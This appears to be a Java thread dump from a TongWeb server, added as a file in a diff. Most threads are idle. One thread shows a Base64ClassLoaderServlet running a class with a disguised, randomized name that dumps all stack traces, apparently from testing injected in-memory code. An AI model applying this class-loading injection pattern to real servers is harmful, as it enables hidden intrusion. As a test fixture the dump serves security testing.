+"http-nio-5100-exec-3" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-ClientPoller-1" #61 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-6" #68 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-ClientPoller-0" #86 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-2" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-3" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-4" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-8" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-exec-6" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@13d0670a
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-Acceptor-0" #62 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:791)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TWNT-startStop-1" #48 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5e150162
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-ClientPoller-1" #87 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1150)
+ at java.lang.Thread.run(Thread.java:750)
+
+"persistence" #118 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@70bcbae5
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460)
+ at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408)
+
+"http-nio-8080-exec-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-4" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-7" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-6" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(1)-172.17.0.4" #15 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$12/1401549639.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-9" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"snapshot" #121 daemon [TIMED_WAITING] on java.util.TaskQueue@2c50d974
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-8080-exec-8" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-AsyncTimeout" #113 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.web.webutil.util.net.JIoEndpoint$AsyncTimeout.run(JIoEndpoint.java:148)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-5" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-10" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-2" #77 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@90c70af
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JMX server connection timeout 122" #122 daemon [TIMED_WAITING] on [I@2643a26c
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.sun.jmx.remote.internal.ServerCommunicatorAdmin$Timeout.run(ServerCommunicatorAdmin.java:168)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-exec-4" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #49 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1508)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Timer-0" #114 daemon [TIMED_WAITING] on java.util.TaskQueue@502bb9d7
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-5100-exec-10" #72 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@48317a94
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-9" #84 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at org.apache.http.client.jjCxH.ErrorIlpkbHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202)
+ at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:123)
+ at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46)
+ at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
+ at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69)
+ at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929)
+ at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
+ at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
+ at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)
+ at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1002)
+ at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:585)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1657)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-5" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e65fe5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-1" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cb8e26
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
